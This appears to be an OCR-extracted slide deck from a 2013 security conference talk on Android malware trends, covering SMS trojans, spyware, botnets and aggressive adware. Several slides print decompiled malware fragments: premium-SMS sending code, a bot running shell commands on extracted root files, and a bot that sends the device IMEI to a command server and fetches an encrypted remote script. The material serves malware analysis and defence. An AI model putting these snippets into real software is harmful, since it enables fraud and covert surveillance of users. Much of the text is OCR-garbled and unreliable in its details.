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Trends of 2013 — OS Releases

Google’s last two major OS releases added a number of
security focused improvements

lce Cream Sandwich — December, 2011
Full device encryption
Introduced ASLR
Data transfer controls

Jelly Bean - July, 2012 - July, 2013
Built in bouncer / VirustTotal acquistion
Premium SMS send alerts
External storage permissions
SELinux

Always on VPN

Master key exploit fix C n 5 O 1D
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rends of 2013 — 05 Diversity/Adoption

100%
Froyo

90%

» Gingerbread

80%

60%
> |ce Cream Sandwich
50%

40%
30%
> Jellybean

20%

10%

0%
O o S Q
O - 5 - -
Q' O ) Q )
S o S o o
RO MR

RSACONFERENCE . a
EUROPE 2013 4 WEBROOT

=g N N " " " 2 " " v " 2 2 Nl 2
SIS AT < ST S IR S AT\ S T S A S BT S AR A S U S SR S S

S .0 N
> S

A
AT AN QT T @Vl AV T Y @V VAV



Trends of 2013 — Industry Awareness

Do Companies realize the risk?
59% agree mobile devices create a high security risk
49% think mobile device security is a high priority

What are companies concerned with?
74% are very concerned with data loss/protection
70% are very concerned with mobile malware

How are companies impacted?

43% reported lost or stolen devices

23% reported malware infected devices
How fast has Android malware grown?

January 2012 - 13k samples, January 2013 - 180k samples
September 2013 - 650k samples + 615k PUA
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« Do-it-yourself Android malware tools
« Rogue AV's now on Android

« Drive-by-downloads target Android devices
« FBIl warning to mobile device users

\4 « Red-October mobile module -iOS, Win Mobile, Nokia )
.Eig<

« Google Play app downloads Windows malware

« DIY tools for infecting leqit Android apps with botnet code
« Increase in malicious Android banking app discoveries

« 'Master key’ exploit discovered impacting 99% of devices
- Affiliate networks impersonate Google Play -> SMS Trojans
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Threat Vectors

Social-Engineering Evasion Tactics

Rogue applications Rogue applications
Infected applications System folder install

SMS phishing Polymorphic distribution
Man-in-the-mobile Payload encryption
Website drive-by Security app removal

QR code Embedded payloads

Rogue Android markets
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INTERNET
ACCESS_NETWORK_STATE
READ_PHONE_STATE
RECEIVE_BOOT_COMPLETED
INSTALL_SHORTCUT
ACCESS_WIFI_STATE
WRITE_EXTERNAL_STORAGE
VIBRATE
ACCESS_COARSE_LOCATION
SEND_SMS
ACCESS_FINE_LOCATION
RECEIVE_SMS

READ_SMS

WAKE_LOCK

GET_TASKS
WRITE_APN_SETTINGS
CHANGE_WIFI_STATE
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Targeted Source Code Behaviors

SMS.Agent, 2.00% Contacts Data Table,

0 Rage Against the
Get IP Address, 3.70% Cage, 5.70%
16.47%

Sends SMS, Accesses Contacts,
~9.04% 7.20%
GingerMaster.b,
2.15%
Contacts Phone

> _————— Numbers, 2.52%

Contacts Email

Address Info, 1.60%
lconosys, 2.00%\
Leadbolt, 19.21%

Mania, 1.00% ——— &

Exynos Exploit,
1.00%

in, 1.009
Gappusin, 1.00% AirPush, 38.77%

Gets IMSI Number,

[0)
22.53% GoldDream, 1.00%

Fakelnst 11614, Yzhcsms, 1.00%

1.00%
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SMS Trojans

First detected in the summer of 2010

Alias: FAkelnst, SMSSend, Boxer, OpFake
Variants: FakePlayer, RuFraud, Foncy

Accounts for more than half of android malware
Sends premium rate SMS

Google Play — 3" party markets — rogue markets

Fake apps — fake markets
® ®
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SMS Trojans - Then

<?xml version="1.0" encoding="utf-8"72>
<manifest package="org.me.androidapplicationl”
xmlng:android="http://schemas.android. com/apk/res/android">
<application android:icon="@drawable/icon">
<activity android:label="Porno Player" android:name=".MoviePlayer">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<factivity>
</application>
{uges-permission android:name="android.permission.SEND SMS" />
</manifest>
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public void onCreate (Bundle paramBundle)
{

super.onCreate (paramBundle) ;
DataHelper localDataHelper = new DataHelper (this):;
if (localDataHelper.canwe())

{

TextView localTextView = new TextView(this);

localTextView.setText ("Go get a personal key ..

setContentView (localTextView) ;
SmsManager localSmsManager = SmsManager.getDefault():;

localSmsManager
localSmsManager

}
finish () ;
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.sendTextMessage ("7132"
.sendTextMessage ("7132"
localSmsManager.
localSmsManager.

sendTextMessage ("7132"
sendTextMessage ("7132"

y H#RSAC

r
r
r
r

null,
null,
null,
null,

D I

"842397", null, null);
"845784", null, null);
"846956", null, null);
"844858", null, null);
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SMS Trojans Now — Pay for Play

Sending up to 2 SMS messages to a short number:

In France:

81015 (€3.00)
81085 (€4.50)

To gain access to content, you must agree to
In the UK: the terms presented below. Below is the text
69067 (£2.00) | of the agreement between the service-offer

79067 (£5.01) | and http:/ {/ subscriber.

1. To gain access to the Service http://
ﬁ/ content to make payment

by sending up to 3 SM5 messages.
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SMS Trojans — Hiding Their Tracks

Package names
com.software.update
opera.updater

Ibjwhhtdin.veuenar
com.arche.NEED FOR_SPEED_Shift

Rogue market places
Reviews, forums

Infiltrate Google Play
RuFraud
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SMS Trojans — Hiding Their Tracks

Authorizati |
Atharizztianiane Need for Speed Shift for Android

Login
Password

Register Forgot your password? e—————
JIEED FUOR SPEED J5

SHIF T

Subscribe to news by e-mail:

m The game Need for Speed Shift Android - it's just a great race! In this simulatar to play this!

Quality graphics - impressive, you can drive the car with the accelerometer (in drifts will he
from the studio Electronic Arts!

difficult). Downloading the g:

D
©

0S: Android 1.6 +
Version: 1.0.73
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Privacy

Functionality used by leqit, gray and malicious apps
Monitor behaviors

Voice
SMS
Location

MOBILE =i~

VERSION"

122219 PN —

Contacts
Camera
Browser
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Commercial Spyware

Tracks usage: phone, location, SMS, mic, camera
Hidden from device owner, runs as a service, no icon

Wife Tracker — Wife
Mobile Spy

familytracker

r
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public void callrecord()

{

MediaRecorder localMediaRecorder = new MediaRecorder();

> NickiSpy, FinSpy, GoManag, GGTracker

this.recorder = localMediaRecorder;

public void onCreate()

{

super.onCreate();

PowerManager.WakelLock localWakelock =
((PowerManager)getApplicationContext().getSystemService("power")).newWakeLock(1l, "RecordService");

String str = localSimpleDateFormat.format(locallong);

this.filetime = str;
stopCallRec();
callrecord();
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Man-in-the-Mobile (MitMo)

ZitMo (Zeus) SpitMo (SpyEye)

D& 1:01em D€ 1:07em
ite Premium e L e —

Below you can see the activation key which you
have to enter on the bank website.

0000-0000-0000-000
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> Botnet activities:

Spam
Click-fraud
SMS

Data leakage
DDoS

vVVvViVVYY
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» Adds device to bot network

Options Get Android data Send command Monitoring

Home | Map viewer |

. f ’kﬂ'

1‘I )

~Start group

| Informations

Longitude : im
Latitude : SEuwRSRRNOTRSSRE:

Altitude : 0.0
Speed: 0.0
Accuracy : 100.0

Last received data:
Wed Jun 13 18:22:58 UTC 2012

Location provider :

® Network
) GPS

Center view I

Wed Jun 13 16:22:59 UTC 2012 Location request received

y H#RSAC
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Botnets - Then

Geinimi - discovered
December 2010
Do you want to install this application? It

Command & Controll will get access to:

e Your personal information
modify your contacts, read call log, read

L]
steals personal info T e
bookmarks and history

Found on Google PIay P node]

messages

@ Monkey Jump 2

Your location
approximate (network-based) location,
precise (GPS) location

Your messages

edit your text messages (SMS or MMS),
read your text messages (SMS or MMS),
receive text messages (SMS)

Network communication
full network access

Storage
modify or delete the contents of your USB
storage

Cancel Install

S O =
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@ Monkey Jump 2

Do you want to install this application? It
will get access to:

Allow this app to:

e Your location
approximate (network-based) location

Storage
modify or delete the contents of your USB
storage

Network communication
full network access

Phone calls
read phone status and identity

Hide

Development tools
test access to protected storage

Hardware controls
control vibration

Cancel Install

S O =




Botnets - Now

Foncy IRC bot - January 2012

Rooter, command & control, SMS

public void onCreate(Bundle paramBundle)

{
super.onCreate (paranBundle) ;
setContentView(2130903040);
shellCommand localShellCommand = new ShellCommand();
localShellCommand. sh, runWaitFor {"mkdir /data/data/com.android.bot/files && chmod 777 /data/data/com.android.bot/files/™);
new File("/data/data/com.android.bot/files/footer0l.png”).delete();
new File("/data/data/com.android.bot/files/header0l.png”).delete();
new File("/data/data/com.android.bot/files/border0l.png”).delete();
new File("/data/data/com.android.bot/files/boonsh”).delete();
new File("/data/data/com.android.bot/files/crashlog”).delete();
new File("/data/data/com.android.bot/files/rooted”).delete();
Extractdsset{"header0l.png"”, "/data/data/com.android.bot/files/header0l.png™);
Extractdsset("footer0l.png”, "/data/data/com.android.bot/files/footer0l.png”);
Extractdsset("border0l.png”, "/data/data/com.android.bot/files/bordex0l.png”);
localShellCommand. sh, runWaitFor (“chmod 777 /data/data/com.android.bot/files/header0l.png”);
localShellCommand. sh. runaitFor (" /data/data/con. android.bot/files/headex0l.png"”);
Toast.makeText (getdpplicationContext(), "(0xl4) Error - Not registred application.”, 0).show();

RSACONFERENCE o |
EUROPE 2013 4 EBROOT



Botnets - Now

Mdk/Simple Temai — Spetember 2012 - January 2013
Comand & control, SMS, spam, downloader

this.LILIILLILIIILIIL = new StringBuilder():

this.LILIILLILILIILLIL = ™ *;

String strl = ((TelephonyManager)paramContext.getSystemnService("phone™)).getDeviceld();
this.LILIILLILILIL1IL.append(”.").append(this.LILIILLILIIILLIL)

String str2 = "http:/fan.yubl.com: 5222/kspp/do2?inei=" + strl + "ewid=" + paramdtring + "s&type=&step=0";
new URL(str2):;

this.LILIILLILILIILILI = ™ ";

InputStream localInputitream = new DefaultHttpClient().execute (new HttpGet(strld)).getEntity().getContent()
this.LILIILLILIIILILI = (this.LILIILLILI1ILILI + this.LILIILLILI1IL1IL.toString() + ".");

String str3 = this.LILIILLILILIILILI;

StringBuilder localStringBuilder = new StringBuilder(String.valuelf(str3)):;

this.LILIILLILIIILILI = this.LILIILLILI1ILLI1;

ZipDecryptInputitream localZipDecryptInputitreamn = new ZipDecryptInputitream(locallnputitream, this.LILIILLILIIILILI);
ZipInputitream localZipInputitreamn = new ZipInputitream(localZipDecryptInputitrean);
localZipInputitrean. getNextEntry();

AdScript localddScript = new AdScript(localZipInputitrean);

this.script = localddScript;

this.script.seticriptVar("appact”, paramContext):’

this.script.setScriptVar("machineinei™, strl):;

this.script.setScriptVar("wid"”, paramString):;

return;
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Advertising - Then

Accepted

Supports free apps
Non-intrusive

No extra permissions
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&® /mnt/sdcard

backups
-_—— -_——
Evernote
mera
[ [
kindle LOST.DIR
[ —
My
Documents

-_——

The all new

XFINITY™ TV Player app.

FastBurstCa

¥ : EE 218 4:30 pm

dcim Download
-_—
gameloft
-_——
mobi_drm Movies
L — -_——
Notifications Pictures

-_——
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Advertising - Now

Aggressive advertising
Notification bar, shortcuts, bookmarks
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Advertising — Google Takes Action

Hello Google Play Developer,

We are constantly striving to make Google Play a great community for developers
and consumers. This requires us to update our policies when we launch new
features, like subscription billing, and also when we see unhealthy behavior, like

We are restricting the use of names or icons confusingly similar to existing
system apps in order to reduce user confusion.

will handle cancellations in our new subscription billing feature

e We are restricting the use of names or icons confusingly similar to existing
system apps in order to reduce user confusion.
e We are providing more detail on the kinds of dangerous products that are not

allowed on Google Play. For example, apps that disclose personal information
without authorization are not allowed.

* We are giving more examples of practices that violate the spam policy.

Additionally, we are adding a new section that addresses ad behavior in apps.

Additionally, we are adding a new section that addresses ad behavior in apps.
First, we make it clear that ads in your app must follow the same rules as the app
itself. Also, it is important to us that ads don’t negatively affect the experience b
deceiving consumers or using disruptive behavior such as obstructing access to
apps and interfering with other ads.

Any new apps or app updates published atter this nottication wil be immediately
subject to the latest version of the Program Policy. If you find any existing apps in
your catalog that don’t comply, we ask you to fix and republish the application
within 30 calendar days of receiving this email. After this period, existing
applications discovered to be in violation may be subject to warning or removal
from Google Play.

Regards,

Google Play Team

RSACONFERENCE
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Privacy Policy &
Advertising Terms

Thank you for downloading this free, ad-
supported application! Please read
carefully. This application is ad-

suiiorted and our advertising partner,

, Inc, may place ads within
applications and in your device's
notification tray and home screen.

collects certain information in
accordance with the permissions you
just granted through the prior screen.
When you click on advertisements
delivered b you will typically be
directed to a third party's web page and
we may pass certain of your information
to the third parties operating or hosting
these pages, including your email
address, phone number and a list of the
apps on your device.

lose




Misleading advertisements
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Advertising - Now

F'CLICKBANK  Secure Payment Form

Purchase Detail:
Flash Player (HD Player Pro)

$34.95 (includes $0.00 tax)
(USD) US Dollar [+]
Your Location: UNITED STATES ]

o e D

Zip or Postal Code:

Select Payment Method:

Kzzy| == KD J Paypal

Go to full size orderform

W’Im / Norton
¥/ SECURE —
TESTED  10-AUC o

Terms of sale:

* Your purchase will appear on your bank statement under the
name "CLKBANK*COM".
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Future Predictions

SMiShing (SMS-phishing): Consumers continue to get
tricked by texts that appear as urgent, legitimate calls-to-
action

Ransomware: These Trojans block access to device
functionality as a method to exploit users

Premium-SMS Trojans: These profitable Trojans secretly
call or text premium numbers

Banking attacks: Expect an increase on banking attacks
in the form of man-in-the-middle attacks and capturing
SMS messages

Drive-by-downloads: Expect exploit kits to include
modules specifically for smart devices
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